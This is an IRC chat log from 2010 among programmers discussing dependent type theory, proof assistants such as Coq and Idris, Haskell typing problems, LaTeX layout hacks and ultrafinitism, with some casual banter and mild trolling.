19:47:16 <cpressey> fax: For trivial compilers, the problem seems not too difficult, maybe even enjoyable if the compiler is written a certain way
19:48:27 * fax needs alise to get into the trenches
19:49:40 <alise_> fax: But my ivory tower is so comfortable...
19:49:56 <alise_> Besides, I refuse to do any serious work in anyone ELSE's language. They have cooties.
19:50:18 <fax> :P
19:54:51 <cpressey> Actually (to get back to the previous topic) the problem seems trivial if you construct your compiler compositionally (though I realize full well almost all production compilers aren't, but we were talking about functional languages.) If a->b is correct, and b->c is correct, then a->b->c = a->c is correct.
19:55:29 <cpressey> If a->b is correct, and c->d is correct, (a,c)->(b,d) is correct, assuming sane composition
19:56:26 <alise_> cpressey: Now add full-program optimisations.
19:56:44 <cpressey> Oh yes. The problem AS USUAL is that someone wants it to GO FAST.
19:57:30 <alise_> :-D
20:00:46 <fax> :(
20:00:57 <fax> this is not accurate
20:01:50 -!- alise_ has quit (Ping timeout: 252 seconds).
20:02:25 -!- alise has joined.
20:02:35 <alise> cpressey: Mind you, I don't plan on including a clever compiler in my OS.
20:02:46 <alise> It's near-the-metal, and cpus are really fast. So...
20:04:09 -!- lament has quit (Ping timeout: 260 seconds).
20:06:38 <cpressey> I'm simply disregarding all considerations of efficiency.
20:07:00 <cpressey> Waste of time to worry about wasting time.
20:07:20 -!- lament has joined.
20:07:59 <olsner> cpressey: ah, words of truth
20:09:15 <cpressey> At the same time, I will continue to complain about web sites that are slow to load. I have a hypocrisy quota to reach, you see.
20:11:00 <cpressey> http://dadgum.com/james/performance.html
20:14:44 <alise> ping
20:15:39 <cpressey> alise: Why are you writing an Othello in Haskell?
20:15:49 <alise> Felt like it. :-)
20:21:23 <alise> Argh!
20:21:24 <alise> I need type-level functions.
20:21:29 <cpressey> :D
20:21:41 <alise> ...because I'm implementing a dependently-typed language. :-)
20:21:50 <alise> (But not for /that/ reason.)
20:23:09 <oerjan> othello and its rich internal type system...
20:23:45 <alise> <3
20:24:03 * alise steps back, examines his general structure.
20:24:04 <cpressey> Happy happy joy joy joy
20:24:14 <alise> Lam :: (Id a -> LC b) -> LC (a :-> b) was so nice, too. Sigh.
20:24:29 <oerjan> so you Lam-ent its loss?
20:24:32 <alise> You could even Show it.
20:24:40 <alise> Types:
20:24:53 <alise> pi (x:T). r
20:24:53 <alise> *
20:25:03 <cpressey> I don't believe in ZFC, I don't see why I should believe in dependent types.
20:25:03 <alise> in pi, T:*
20:25:11 <fax> hehe
20:25:21 <alise> Values:
20:25:26 <fax> ztheist
20:25:28 * cpressey proves himself
20:25:47 <alise> \(x:T).(e:R) : pi (x:T). R
20:26:08 <fax> alise why don't you write it in Coq (type functions!) then extract it to haskell
20:26:12 <alise> (f : pi (x:T). r) v : r[x=v]
20:26:16 <fax> if you do that it'll be a really sweet hack
20:26:26 <alise> fax: mm maybe
20:29:17 <fax> use monads !
20:30:23 <oerjan> everything's better with monads!
20:30:58 <alise> sem' xs (App f x) = (sem xs f) (sem xs x)
20:31:00 <alise> not allowed :(
20:31:07 <alise> with
20:31:07 <alise> App :: LC (a –> b) -> LC a -> LC b
20:31:23 <alise> I guess I need to specifically specify f must be a Lam
20:31:37 <fax> whats xs?
20:31:38 <oerjan> how lame
20:31:47 <alise> fax: de bruijn housekeeping
20:32:02 <alise> actually I think it needs to be a function... maybe
20:32:14 <alise> wait, no
20:32:42 <alise> against inferred type `[(.) (forall a1) (LC a1)]'
20:32:44 <alise> lol
20:32:45 <alise> (.)
20:37:40 <alise> fax: sem' :: (Id t -> t) -> LC a -> a
20:37:44 <alise> sem' v (Var i@(Id n :: Id t)) = v i :: t
20:37:46 <alise> why doesn't this work :(
20:39:02 <fax> something to do with needing to enable a bunch of extensions that should really be the default?
20:39:39 <alise> already done
20:39:45 <alise> Couldn't match expected type `t' against inferred type `a'
20:39:47 <alise> :/
20:40:16 <fax> do sem' :: (Id a -> a) -> LC a -> a :D
20:40:17 <alise> ohh
20:40:18 <alise> I just needed
20:40:22 <alise> (forall t. Id t -> t)
20:40:23 <alise> to be the type
20:40:25 <alise> duh
20:40:30 <fax> how can that be the right type?
20:40:34 <fax> what's Id t?
20:40:39 <fax> oh I see
20:41:07 <fax> can you implement (in a pure and safe way) STRefs this way?
20:43:43 -!- alise_ has joined.
20:44:44 -!- alise has quit (Ping timeout: 252 seconds).
20:53:01 -!- oerjan has quit (Quit: Good night).
20:54:07 <alise_> othello is more fun than this
20:54:35 <alise_> fax: I assume there's some hyper-monoidal structure for game boards :-P
20:58:12 <alise_> fax: Reifying without _|_:
20:58:13 <alise_> instance (TNat n) => TNat (S n) where reify _ = 1 + ((reify :: (n -> n) -> Integer) id)
20:58:15 <alise_> Clever, huh?
20:58:38 <alise_> In fact, you could even have reify :: Dummy n -> Integer where (data Dummy t = Dumb)
20:59:09 <alise_> Dummy is basically values indexing on types :P
20:59:45 <alise_> Well, sort of
21:13:42 <cpressey> Press Ctrl-# to continue!
21:17:12 <alise_> wat
21:17:34 <alise_> fax: is there any dependent language that lets you elide most of the obvious proofs and the like... I feel like I'm writing tons of obvious proofs except in haskell atm :)
21:17:58 <fax> coq
21:19:11 <alise_> fax: you sure?
21:19:26 <fax> well I am interpreting 'elide' in a special way
21:21:46 <alise_> that means "specify"?
21:23:15 <fax> yeah and prove them
21:23:19 <alise_> lol
21:24:27 <alise_> fax: http://www.reddit.com/r/dependent_types/comments/baf7g/wtypes_good_news_and_bad_news_laquo_epilogue/ why epigram 2 isn't broken
21:24:33 <alise_> i think
21:25:04 <fax> from the murky depths http://sneezy.cs.nott.ac.uk/darcs/RDTP/2ndmeeting/ctm-3.JPG ...
21:27:21 <alise_> fax: btw I think I understood your thing about induction from the logs
21:27:29 <alise_> so what is mu-elim's actual type, I'm curious?
21:27:38 <alise_> admittedly this is the rough kind of understanding, not the deep kind
21:28:20 <AnMaster> huh
21:28:25 <AnMaster> what the heck is going on
21:28:26 <AnMaster> somehow
21:28:35 <AnMaster> every X process ended up as STOPPed
21:28:48 <AnMaster> killall -CONT <huge list> seems to have helped *somewhat*
21:30:07 <AnMaster> except I can't resume that dbus crap
21:30:16 <AnMaster> it causes everything else to SIGSTOP again
21:30:21 <cpressey> Smells like cat food.
21:32:19 <alise_> I should really devise a way to isomorph the pure data types with an efficient implementaiton.
21:32:21 <alise_> *implementation
21:32:48 <fax> lol :D
21:33:16 <alise_> what
21:33:39 <cpressey> I once read a PhD thesis were 70% of the ~200 pages was a transcript of a session with an interactive proof system.
21:33:44 <cpressey> *where
21:35:12 <AnMaster> what the hell is going on
21:35:22 <AnMaster> it all started when inkscape crashed
21:35:31 <AnMaster> it seems that resulted in dbus crashing or something
21:35:52 <AnMaster> ooh nice, gconfd is eating 100% CPU
21:38:39 -!- MigoMipo has quit.
21:39:11 * fax snooze
21:39:13 <cpressey> No! Sleep! 'Til Brooklyn!
21:39:39 <alise_> cpressey: Formalised proofs are the future!
21:39:44 <alise_> Although a transcript is probably not the best form.
21:39:45 <alise_> brb
21:40:02 <fax> formal math is so difficult
21:40:24 <fax> but it's different than proving stuff on paper, and it's a bit different than programming too
21:40:34 <fax> it's a bit perverse
21:40:44 <cpressey> Can you say "thesis padding"?
21:40:51 <fax> heh
21:48:36 <cpressey> I'm probably going to try to include a proof checker in the language I'm working on. Not a prover though, that's just way too much work. But a proof checker is pretty simple.
21:48:54 <AnMaster> how do you prevent LaTeX from including a date on the title page?
21:49:56 <alise_> proof checker = type checker
21:50:33 <fax> proof checker is simple? :)
21:50:37 <fax> yes that is true
21:50:43 <fax> but it is hard to write proofs :P
21:50:45 <cpressey> = derivation checker
21:51:10 <fizzie> AnMaster: Use \date{} -- though it might be suboptimally spaced.
21:51:38 <AnMaster> fizzie, hm spacing is important since I don't use a separate title page
21:52:37 <fizzie> Try it and see. If it's not good, you'll probably have to just do the titles manually; the usual \maketitle is not very customizable.
21:52:50 <fizzie> It's possible that it's clever enough to detect and special-case an empty date.
21:53:36 <alise_> someone (fax) gimme the interpretation brackets
21:53:50 <fax> [[ ]]
21:53:59 <alise_> qwrtuc6ybpoi;ytrweaqstr4jy;poin0[;qwo'm[pn;iqw;p0oi[ie3ye3wdrty;piyuhtw2qwqaretshygu,-';juytdrtuh0poesr48#'[p0oiyhtdryk]='
21:54:02 <alise_> fax: >:|
21:54:06 <fax> :p
21:54:16 <cpressey> hands in the air
21:54:16 <fax> you dirty qwerty user!
21:54:27 <alise_> yeah
21:56:53 -!- Oranjer has joined.
21:57:45 <alise_> coq proofs don't look nearly enough like real mathematical proofs
21:57:47 <alise_> imo
21:58:00 <Oranjer> coq?
21:58:04 <alise_> kazonk; whup f; bop; ligxs
21:58:09 <alise_> Oranjer: Coq.
21:58:13 <alise_> Theorem prover, programming language.
21:58:19 <Oranjer> ooh, okay
21:59:43 <fax> alise they shouldn't look like what you find in textbooks
21:59:59 <cpressey> Trivial example of what I have in mind: http://dpaste.com/169655/
22:00:20 <fax> alise, well it has been pointed out by Freek that these proof assistants do look very much like Euclids Elements in style
22:00:30 <fax> but I mean on paper stuff is a different world
22:00:44 <alise_> yeah but it shouldn't be a different world!
22:00:55 <fax> paper can't compute (yet!) :P
22:01:13 <alise_> imo we should all be using dependent formal proofs everywhere
22:01:28 <alise_> and with say coq proofs that is .. not practical
22:02:05 <fax> :|
22:02:10 <fax> more of your bullshit
22:02:31 <Oranjer> "dependent formal"
22:02:33 <Oranjer> what
22:03:15 <alise_> fax: you can just not listen to me, you know
22:04:10 <Oranjer> but ignoring people is the center that all totaltarianism revolves around!
22:04:20 <cpressey> Dude, we're still grappling with sophisticated SE concepts like "comments" and "tests"
22:07:28 <cpressey> I am currently trying to add a feature to a swath of our code that another engineer accurately described as an "accretion"
22:07:57 <cpressey> I would LOVE to be able to prove some simple properties about this code, if only to figure out what the variable names should REALLY be called instead of "ctx" and "data"
22:08:03 <alise_> cpressey: :-D
22:08:50 <cpressey> But it is written in a mainstream programming language, which means, who KNOWS what the semantics of this code REALLY are? How do you even begin to write a proof when your axioms are based on "well, it's implemented this way, on this os, on this cpu"
22:08:53 <cpressey> ?
22:09:43 <alise_> Programming is a shithole/
22:09:45 <alise_> *shithole.
22:10:03 * AnMaster gives up on this
22:10:17 <Oranjer> yay
22:10:24 * AnMaster uses a -1.5 em vertical spacer and then violently hits LaTeX with it
22:10:33 <AnMaster> that seems to work
22:11:34 <AnMaster> it is is an extremely hackish way to get two minipages beside each other. One containing a circuit diagram, the other containing values for components in an eqnarray environment
22:11:35 <cpressey> We don't even have debuggers that aren't crap. (Where did this value come from? Tell me. No, you can't, can you.)
22:11:50 <AnMaster> fizzie, wonderfully hackish in factr
22:11:53 <AnMaster> fact*
22:13:49 <alise_> cpressey: Indeed.
22:14:03 <fizzie> I tend to often end up with some negative spaces here and there too, though I always feel I'm doing something wrong.
22:14:05 <alise_> Actually you've made me think: perhaps debuggers are isomorphic to proof assistants.
22:14:14 <alise_> (Except you never get around to proving anything.)
22:14:32 <cpressey> alise_: They're certainly related.
22:14:41 <cpressey> It's all about tracing.
22:16:01 <cpressey> You need to visualize the innards to see why the end result is not what you expected.
22:16:30 * fax visualize your innards
22:16:35 <cpressey> Eww
22:16:50 <AnMaster> fizzie, actually that wasn't just a negative space. it was a -6 em vertical spacer at the top of a mini page
22:17:00 <AnMaster> to "fake" it being at level with the other one
22:17:31 <AnMaster> somehow the display style equation in that mini page caused it to fill out the whole page when it came to vertical placement
22:19:21 <Gregor> Chrome's search feature is a suckfest ... and not the good kind.
22:20:04 <alise_> Gregor: Howso?
22:20:12 <alise_> Just type in what you want and press enter. ...Hooray.
22:20:29 <alise_> Or if you're going to search for something that looks like a URL, ?poop://lol<ENTER>.
22:20:39 <alise_> I think there's even a shortcut for Ctrl-L + ?
22:20:41 <Gregor> Nonono, search on a page, its "find" feature
22:20:54 <Gregor> Whatever you want to call it.
22:22:24 <alise_> Oh
22:22:25 <alise_> Why?
22:23:18 <Gregor> 1) What was wrong with '/' and type? 2) The most common use of find on a page for me is getting to a link to click it. But when I hit 'enter', it goes on to the next effing match, it doesn't click the link >_<
22:25:19 <AnMaster> does it support regex?
22:28:19 <alise_> Gregor: (1) Oh, Ctrl-F, how horrible. (2) Okay.
22:28:28 <alise_> AnMaster: No. Because it's meant for people to use. Quickly.
22:28:35 <cpressey> And I can't even fall back to print statements without pulling my hair out because the values have magical stringification so they throw an exception when I try to print them.
22:28:40 <Gregor> Ctrl is a lot farther from the home row than / is, if searching is common then it's annoying.
22:28:46 <alise_> cpressey: :-D
22:28:48 -!- tombom has quit (Quit: Leaving).
22:28:58 <Gregor> But that's a minor issue, it's the no-click thing that annoys me, surely I don't need to tab to the right link ...
22:29:15 <alise_> Gregor: Chrome is a bit mouse-based. There's an extension that lets you do /foo and the like.
22:29:54 <alise_> http://github.com/philc/vimium
22:31:07 <AnMaster> alise_, you know, I quite often use egrep as a quick way to search
22:31:15 <alise_> AnMaster: you are not technicaly human though.
22:31:25 <AnMaster> alise_, neither are you if you know any regex
22:31:51 <pikhq> Gregor: Ctrl is *on* the home row.
22:32:05 <Gregor> pikhq: Screw you Unixy Solaris keyboard
22:32:20 <AnMaster> pikhq, picture
22:32:28 <pikhq> AnMaster: I just xmodmap'd.
22:32:39 <alise_> axiom interact : Interaction p f t -> World s -> {p s} -> (t, World (f s)) -- this, but with some sort of way to mark the previous world as invalid
22:32:49 <alise_> (I'm trying to formulate all IO as one single interaction axiom.)
22:32:51 <AnMaster> pikhq, ah
22:32:57 <AnMaster> pikhq, to caps lock?
22:33:06 <pikhq> AnMaster: Yeah.
22:33:43 <pikhq> alise_: Uniqueness type?
22:33:56 <alise_> pikhq: Thanks for complicating up my theory :P
22:34:01 <pikhq> Heheh.
22:34:25 <alise_> basically, (World s) represents a world with conditions s
22:34:44 <alise_> (Interaction p f t) is an interaction on worlds; p is Conditions -> Prop
22:34:52 <alise_> meaning "is this interaction acceptable under these conditions?"
22:35:05 <alise_> for instance, a read-from-stream interaction would have a p representing that the buffer must be open in the world
22:35:11 <alise_> f is Conditions -> Conditions
22:35:17 <alise_> representing the effect it has on the conditions of the world
22:35:28 <alise_> a close-stream interaction would require that the stream be open in p, and make it closed in f
22:35:35 <alise_> and t is the type of the result it returns
22:35:50 <alise_> dependent types would mean that closing an already-closed file would actually be a type error.
22:36:41 <fax> yes
22:36:51 <alise_> conor mcbride did some sort of thing on this i know
22:37:21 <fax> and idris
22:37:51 <alise_> heh i'm actualy reading idris stuff now
22:37:55 <alise_> hmm
22:37:57 <alise_> maybe the issue is World
22:38:28 <alise_> dunno
22:40:18 <alise_> fax: how does idris do it?
22:41:47 <fax> theres papers on it
22:42:01 -!- kar8nga has quit (Remote host closed the connection).
22:42:02 <alise_> yeah but i can't find them
22:42:32 <fax> http://www.cs.st-andrews.ac.uk/~eb/drafts/tfp08.pdf
22:42:35 <fax> http://www.cs.st-andrews.ac.uk/~eb/drafts/ngna2009-dsl.pdf
22:42:51 <cpressey> Make a dependent type system where trying to unserialize a corrupt string is a type error!
22:45:00 <alise_> cpressey: Possible but a bit useless since you have to prove it.
22:45:13 <alise_> So you'll basically do if corrupt x then fail else yay (long proof)
22:45:26 <alise_> Better to have the serialiser return, say, Maybe DeserialisedType
22:45:41 <cpressey> "Better", sure.
22:46:44 <AnMaster> <alise_> dependent types would mean that closing an already-closed file would actually be a type error. <-- anything wrong with that?
22:46:46 <alise_> fax: Just to confirm. http://www.cs.st-andrews.ac.uk/~eb/drafts/tfp08.pdf is not about interaction, yes?
22:46:53 <alise_> I skimmed it and didn't see anything related.
22:46:58 <alise_> AnMaster: It's a good thing. Duh.
22:47:07 <AnMaster> alise_, what I thought
22:47:48 <cpressey> What about failing to close a file?
22:48:18 <cpressey> I mean, from a practical perspective, a single guard on "oops, this file handle is already closed" is nothing. But leaking file descriptors is a real problem.
22:49:08 <alise_> cpressey: Actually, yeah, you could.
22:49:25 <alise_> Make interact continuation-y and require that the world yielded by the continuation satisfies another bit of the Interaction.
22:49:26 <AnMaster> cpressey, also closing a file could fail
22:49:36 <alise_> open-file would have as its ever-ever-postcondition that the file is closed.
22:49:56 <AnMaster> cpressey, isn't fclose() in C allowed to fail if data is buffered but there is no space to write it?
22:50:21 <pikhq> Yes, fclose() can fail.
22:50:34 <AnMaster> so, well you could have to propagate some such errors to your high level language
22:50:39 <alise_> cpressey: i think
22:51:29 <cpressey> Scylla and Charybdis
22:51:50 <alise_> Indeed.
22:52:20 -!- oklokok has quit (Read error: Connection reset by peer).
22:52:38 <AnMaster> <cpressey> Scylla and Charybdis <-- ?
22:52:46 <AnMaster> the latter means "ircd software" to me
22:53:01 <AnMaster> (the one freenode uses nowdays is based on charybdis)
22:54:05 <alise_> Gogle it.
22:54:08 <alise_> *Google
22:54:31 <AnMaster> alise_, greek mythology?
22:54:45 <alise_> No, the other Scylla and Charybdis.
22:55:37 <AnMaster> alise_, [The phrase "between Scylla and Charybdis" has come to mean being in a state where one is between two dangers and moving away from one will cause you to come closer to the other.]?
22:56:27 <alise_> No, the other Scylla and Charybdis.
22:56:58 <AnMaster> alise_, I only get idiom and mythology hits on my first two results pages
22:57:12 <AnMaster> haven't checked further
22:57:22 <AnMaster> alise_, so what the heck are you talking about
22:57:49 <alise_> The other Scylla and Charybdis.
22:57:58 <AnMaster> alise_, there is no such hit for me
22:58:02 <AnMaster> so please explain
22:58:07 <alise_> The other Scylla and Charybdis.
22:58:50 <AnMaster> okay, now you are just trolling
23:00:00 <alise_> It's not my fault you're an idiot.
23:00:35 <AnMaster> for not figuring out you were trolling sooner? perhaps
23:00:59 <AnMaster> I had a hard time imaging you were trolling at first.
23:01:01 <cpressey> For convenience, this function may accept either a string, a list, a dictionary, or a file.
23:01:28 <cpressey> Yes, very convenient.
23:01:53 -!- madbr has joined.
23:02:16 <alise_> cpressey: Ouch.
23:02:54 <alise_> cpressey: Ever considered just becoming a hermit?
23:02:57 <alise_> A hermit with internet access.
23:04:31 <cpressey> Well yes, if it wasn't for the whole property-tax thing.
23:05:09 <alise_> cpressey: Caves. They have none.
23:05:37 <cpressey> Then there's that whole evading-park-rangers thing.
23:06:39 <alise_> cpressey: Beats 9-5, right?
23:07:21 <cpressey> Totally. I should have gone to Hermit School when I had the chance...
23:08:15 <alise_> I'm basically banking on becoming a tenured professor because of my sheer genius without trying at some point.
23:09:02 <cpressey> Well, then practise backstabbing now, is my advice.
23:09:10 <madbr> heh
23:09:12 <cpressey> You'll need it in grad school.
23:10:29 <alise_> Remember when I said sheer genius?
23:10:33 <alise_> I'll do it and NOT EVEN REALISE IT.
23:10:43 <alise_> Set myself to auto-pilot, baby.
23:12:28 -!- oklokok has joined.
23:12:32 <fax> ho oklokok
23:12:44 <fax> alise tenured how?
23:13:12 <alise_> the badass kind that means I can do nothing and never get fired
23:13:17 <alise_> (note: I do not actually believe any of this0
23:13:23 <alise_> *this)
23:13:29 <fax> like Zeilberger
23:14:21 <fax> "Academic tenure is primarily intended to guarantee the right to academic freedom: it protects teachers and researchers when they dissent from prevailing opinion, openly disagree with authorities of any sort, or spend time on unfashionable topics"
23:14:33 <cpressey> "Zeilberger considers himself an ultrafinitist." Wow, they actually exist??
23:14:46 <fax> yeah so I do
23:14:58 * cpressey is impressed
23:15:00 <madbr> ultrafinitist? what does that even mean?
23:15:04 <fax> I don't beleive that a^b terminates
23:15:45 <alise_> Like other strict finitists, ultrafinitists deny the existence of the infinite set N of natural numbers, on the grounds that it can never be completed. In addition, ultrafinitists are concerned with our own physical restrictions in constructing (even finite) mathematical objects. Thus some ultrafinitists will deny the existence of, for example, the floor of the first Skewes' number, which is a huge number defined using the expone
23:15:46 <alise_> XD
23:15:56 <alise_> It's like argument by lack of imagination
23:16:12 <alise_> Argument by well our current computers can't do it/well our current understanding of physics means we can't do it
23:16:15 <cpressey> Or by vagary in definition of "exists"
23:16:20 <alise_> fax: surely you don't consider yourself such.
23:16:45 <pikhq> I can in fact produce an object that is of some arbitrary numerical length. By defining the units appropriately.
23:16:47 <alise_> So ultrafinitists believe there to be a largest number. I wonder what it is :)
23:17:01 <cpressey> I wonder what it is _today_.
23:17:07 <alise_> :-D
23:17:13 <pikhq> For instance, I have a meter stick that is roughly G 1/G-meters.
23:17:17 <madbr> yeah that's kooky
23:17:24 <cpressey> I'm not completely alien to their ideas, but I don't think I am one
23:17:27 <Sgeo> Who pinged me?
23:17:44 <lament> alise_: the largest number is 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875897
23:17:57 <alise_> lament: 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875898
23:17:59 <pikhq> lament: 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875898
23:18:02 <pikhq> Suck it.
23:18:03 <alise_> haha
23:18:10 <lament> that's not a number
23:18:15 <lament> just a meaningless string of digits
23:18:21 <fax> oh lament is a 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875897-finitist
23:18:22 <Oranjer> it is a number
23:18:29 <madbr> you could argue that numbers larger than X don't have any practical use, that's kinda dumb
23:18:33 <pikhq> It's the successor of the largest number you proclaimed.
23:18:36 <lament> it doesn't mean anything. Numbers can't be that large.
23:18:39 <lament> it's not a number
23:18:47 <pikhq> lament: Define number.
23:18:50 <lament> no u
23:18:52 <fax> I'm a 2^16-finitist
23:19:16 <alise_> fax: lament thinks such a finitism doesn't exist
23:19:17 <alise_> so there
23:19:17 <pikhq> data Number = Zero | Succ Number
23:19:48 <fax> pikhq, fix Succ -- where is your arithmetic now?
23:19:51 <lament> math isn't haskell
23:19:55 <alise_> Nat := Mu (Unit &)
23:19:58 <fax> lament, ask #haskell :x
23:20:09 <cpressey> Succ it.
23:20:09 <lament> why? I'm more qualified than #haskell
23:20:12 <pikhq> fax: Congrats, you just defined infinity.
23:20:15 <fax> why doesn't oklocorpse talk to me :(
23:20:17 <lament> i've a math degree, most people in #haskell don't.
23:20:21 <fax> oklokok oklokok oklokok
23:20:24 <alise_> pikhq: ugh, no
23:20:33 <alise_> _|_Nat is not infinity
23:20:59 <pikhq> alise_: Fine, fine. He's defined _|_ :: Number.
23:21:10 <fax> lament: hey did you specialize?
23:21:15 <fax> at some point
23:21:16 <lament> no
23:21:18 <AnMaster> <fax> why doesn't oklocorpse talk to me :( <-- I guess he got tried of saying BRAAAINS?
23:22:27 <fax> lament :(
23:22:53 -!- oklokok has quit (Ping timeout: 260 seconds).
23:23:45 -!- oklokok has joined.
23:24:00 <madbr> damn postmodernists
23:24:10 <alise_> postpostmodernism
23:25:39 <fax> oklokok?
23:26:00 <cpressey> ω exists because I can describe it (I can describe Atlantis too)
23:30:08 <alise_> ω is shorthand for some definition in some system of axioms. in those, it is presumably a coherent concept
23:30:22 <alise_> the problem is that you want Atlantis to be a concept of this world. and we don't control /our/ axioms.
23:30:48 <cpressey> God no, I don't want that. They would cream us with their nuclear laser missiles!
23:31:05 <alise_> :D
23:31:21 * fax sighs there are so many things I want to do that I am unable to do any of them
23:31:42 <alise_> I love how the Halting Problem is equivalent to the Entscheidungsproblem.
23:32:04 <fax> yeah that's a good one
23:33:46 <oklokok> meeee
23:33:48 <lament> s/things/women
23:34:27 <alise_> decide : (∀a. Prog a → Bool) → (P : Prog (Nat → Bool)) → Bool
23:34:28 <alise_> decide H P = ¬(H 《i := 0. Do: If ¬(P i), break. i := i + 1. Loop. 》)
23:34:35 <alise_> Or thereabouts.
23:35:55 <fax> hi oklookpaoufpadda
23:36:02 <fax> I got something to show you
23:36:14 <fax> www.stanford.edu/~dgleich/publications/finite-calculus.pdf !
23:36:24 <fax> you said you didn't like analysis because it wasn't finite enough
23:38:09 <oklokok> well i'm not sure that's exactly that i said :D
23:38:12 <oklokok> but i'll check
23:38:12 <Wareya> http://i43.tinypic.com/2v8s9w8.png
23:38:15 <Wareya> whoope
23:38:16 <alise_> I see fax doesn't like my proof :(
23:38:19 <fax> oklokok this stuff is so cool though!
23:38:20 <Wareya> Scientist: Yeah, the expansion of the universe is accelerating and there seems to be stuff that seems to to exert negative gravity and that stuff is dark energy
23:38:22 <fax> seriously I have to master it
23:38:23 <Wareya> Dude: and what is that, what is it made of?
23:38:24 <Wareya> sorry spam
23:38:26 <Wareya> Scientist: Really we have no fucking clue, we hoped you'd stop asking after hearing "dark energy"
23:38:30 <Wareya> bye
23:38:35 <fax> alise: I just assumed it was correct
23:38:39 <alise_> Wareya: yawn
23:38:52 <alise_> yet another lol-they-call-it-dark-it-must-just-be-made-up bullshit story
23:38:59 <alise_> be ignorant elsewhere :|
23:39:35 <alise_> decide on the reals is interesting btw
23:39:36 <Wareya> who said I agree?
23:39:39 <Wareya> it's just funny
23:39:39 <alise_> nested halting-checking
23:39:40 <Wareya> byer
23:40:09 <cpressey> I can describe black holes
23:40:47 <alise_> [Note to the editor: Insert a "your mom" joke here.]
23:40:51 <alise_> [No. -Ed]
23:42:21 <AnMaster> alise_, that's what she said!
23:42:25 <AnMaster> night →
23:46:29 <alise_> http://en.wikipedia.org/wiki/Clifford_Stoll The acme klein bottle guy is also the caught Markus Hess guy and also thought interwebs would never catch on
23:50:34 <fax> oklopkoupuo i think this is a precursor to Umbral Calculus
23:50:52 <fax> not entirely sure
23:53:11 <fax> oklokok btw I have not done OR yet :(
23:53:28 <fax> actually I was going to try and code that stuff into epigram just for fun but it was too hard
23:53:43 <fax> (I couldn't even define a tree type)
23:53:54 <cpressey> alise_, what did you think of my proof?
23:53:58 <oklokok> you can ask for hints if you want
23:54:15 <alise_> cpressey: which proof?
23:54:16 <fax> oklokok, well if you had an intermediate problem between AND and OR that would be good :p
23:54:28 <cpressey> http://dpaste.com/169655/
23:54:48 <cpressey> It's wrong. The last thing on the 3rd line should be "Stack'"
23:55:05 <alise_> cpressey: You've neglected to specify what you're proving, for starters.
23:55:18 <alise_> Looks more like an evaluation to me,
23:55:19 <alise_> *me.
23:55:43 <cpressey> Theorem is always: first line and last line of "proof" section are equal.
23:55:46 <oklokok> well the thing is
23:55:55 <alise_> cpressey: That's a rubbish proof system
23:55:56 <cpressey> What is a proof if not an evaluation?
23:55:56 <fax> Gian-Carlo Rota began his career as a functional analyst, but changed directions and became a distinguished combinatorialist. -- he helped develop this umbral calculus
23:55:59 <oklokok> for most things that are in the middle, you'll need to have OR already
23:56:02 <alise_> cpressey: A proof is a value
23:56:02 <oklokok> i mean most things i know
23:56:18 <alise_> fax: link to that book that had tons of proofs in i think coq
23:56:18 <cpressey> Well, sure, everything is a value
23:56:18 <oklokok> if you can live with using OR before knowing how to compile it, then yeah i have a few
23:56:21 <alise_> supposedly from the future
23:56:27 <alise_> cpressey: No, quite literally
23:56:34 <alise_> p : P where P : Prop = p is a proof of P
23:57:01 <fax> oklokok oh, I was thinking about AxB = BxA, it seems to only have solutions like A = (mnux)^n(mnu), B = ..^m...
23:57:02 <alise_> there's a reason proof assistants are all dependent and whatnot, it's because this is the way things make sense in computing
23:57:27 <fax> alise, I don't know what you are referring to
23:57:38 <fax> not all proof assistants work on dependent type theory
23:57:53 <fax> but dependent type theory is really an excellent way to do it imo
23:58:13 <oklokok> if |A|>|B|, then TxB = xBT, which gives you all the solutions
23:58:23 <alise_> fax: well yeah
23:58:31 <fax> oklokok huh??
23:58:33 <oklokok> there are a few basic techniques that get you through most things
23:58:37 <alise_> not all-are dependent
23:58:41 <alise_> but are all-dependent-and-whatnot
23:58:50 <oklokok> fax: i just substituted A = BT because |A| > |B|
23:58:59 <oklokok> there's a symmetric case for B > A
23:59:05 <fax> hm
23:59:12 <fax> ah!
23:59:17 <oklokok> oh and after that you already have all the solutions
23:59:25 <oklokok> if you don't see it... see fundamental theorem
23:59:29 <oklokok> ;)
23:59:35 <cpressey> alise_: To be clear, it's not a proof finder, it's only a way to write out proofs so that they can be checked.
23:59:43 <alise_> cpressey: Of course.
23:59:46 <oklokok> we should probably be doing this in pm, i'm not sure it's as entertaining to others
23:59:49 <cpressey> And since a proof is a series of derivations, I don't see anything wrong with this.
23:59:54 <oklokok> well actually
23:59:59 <oklokok> we should be doing this tomorrow
2010-03-09
00:00:02 <alise_> But your proofs aren't proofs and if they were they'd be nothing in particular. If I'm reading your snippet right.
00:00:07 <fax> fundamental theorem was solutions of XY = YX?
00:00:15 <fax> oklokok, okay but can you give me one hint on OR?
00:00:25 <fax> because right now I am just sort of lost
00:00:43 <fax> oklokok but this finite calculus is so cool!
00:00:44 <cpressey> alise_: How would you prove that pop(push(X,Stack)) == Stack ?
00:00:53 <alise_> cpressey: Also, I assume that your proofs are first-class values. So how do you create a function taking a function from a positive rational to a rational, and also a proof that for all positive rationals e1 and e2, |f e1 - f e2| < e1 + e2?
00:01:14 <cpressey> Or could you give me an example of something more interesting that could be proved (but still under a page of derivation)?
00:01:17 <alise_> i.e., a function taking (f, |f e1 - f e2| < e1 + e2), also known as a computable real
00:01:20 <oklokok> yeah fundamental theorem was your pet name for the commutation thing
00:01:21 <fax> cpressey, in dependent type theory this would be a trivial proof, because pop(push(X,Stack)) would compute down to Stack, so all you really need to prove is Stack == Stack
00:01:23 <alise_> cpressey: depends
00:01:23 -!- bsmntbombdood_ has joined.
00:01:48 <cpressey> fax: A better example to prove would be most welcome, then
00:01:52 <fax> cpressey (if P reduces to P' then a proof of P is a proof of P')
00:02:00 <alise_> cpressey: I gave you one.
00:02:10 <cpressey> alise_: I don't have functions in my language
00:02:16 <oklokok> okay for OR, the first thing is to reduce it to a=b OR a=c.
00:02:17 <cpressey> or reals, for that matter
00:02:24 <alise_> cpressey: You don't need reals.
00:02:25 <fax> oklokok, I think it has something to do with sequence of lydon words.. (because you told me that)
00:02:25 <alise_> I just defined the reals.
00:02:33 -!- bsmntbombdood has quit (Ping timeout: 245 seconds).
00:02:39 <fax> oklokok, okay byebye!
00:02:41 <oklokok> at least i think that's the easiest way
